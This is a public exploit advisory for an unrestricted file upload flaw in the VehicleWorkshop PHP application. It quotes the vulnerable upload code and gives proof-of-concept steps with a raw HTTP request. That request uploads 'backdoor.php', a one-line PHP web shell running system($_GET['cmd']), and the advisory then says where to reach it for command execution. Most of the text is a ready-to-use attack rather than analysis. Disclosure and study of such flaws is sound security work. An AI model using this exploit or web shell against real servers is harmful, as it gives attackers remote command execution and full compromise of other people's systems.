VehicleWorkshop Arbitrary File Upload

`# Exploit Title: VehicleWorkshop Unrestricted File Upload or Shell Upload  
# Exploit Author: Touhid M.Shaikh  
# Date: 1/08/2017  
# Vendor Homepage: https://github.com/spiritson/VehicleWorkshop  
# Tested on : Kali Linux 2.0 64 bit and Windows 7  
  
  
  
===================  
Vulnerable Page:  
===================  
  
http://192.168.1.13/sellvehicle.php  
  
====================  
Vulnerable Source:  
====================  
  
  
--------------------------------PHP code-----------  
<?php  
if(isset($_POST["submit"]))  
{  
move_uploaded_file($_FILES["file"]["tmp_name"],  
"upload/" . $_FILES["file"]["name"]);  
  
  
--------------------------------------------------  
  
-----------------------HTML Form -----------------  
<label for="images"></label>  
<label for="file"></label>  
<input type="file" name="file" id="file" /><input type="hidden"  
name="image" />  
  
-----------------------------------------------------------------------  
  
U can upload Shell or File via Regular or customer User Account.  
  
================= POC ======================  
  
We need to login any customer account or create an account (  
http://192.168.1.13/registration.php) and login.  
  
After customer panel open Navigate to  
http://192.168.1.13/sellvehicle.php  
  
and feed data and upload you unrestricted file.  
  
--------------------------Request---------------------------  
  
POST /sellvehicle.php HTTP/1.1  
Host: 192.168.1.13  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101  
Firefox/54.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3  
Content-Type: multipart/form-data;  
boundary=---------------------------144421253520516158491092952973  
Content-Length: 1085  
Referer: http://192.168.1.13/sellvehicle.php  
Cookie: PHPSESSID=ccopsj443v8d2kksu0u40cte10  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
.  
.  
.  
.skip  
  
Content-Disposition: form-data; name="file"; filename="backdoor.php"  
Content-Type: application/x-php  
  
<?php system($_GET['cmd']); ?>  
  
.  
.  
.  
.skip  
------------------------------------------------------------------------------  
  
--------------------------Rsponse --------------------------  
HTTP/1.1 200 OK  
Date: Mon, 31 Jul 2017 20:38:09 GMT  
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l  
mod_autoindex_color PHP/5.3.1  
X-Powered-By: PHP/5.3.1  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Content-Length: 2909  
Connection: close  
Content-Type: text/html  
------------------------------------------------------------------------------  
  
  
====================================================================  
  
Now You Can Access you Shell or File in /upload/backdoor.php  
  
http://192.168.1.13/upload/backdoor.php  
  
  
Enjoy !  
  
Regards.  
Touhid Shaikh  
  
`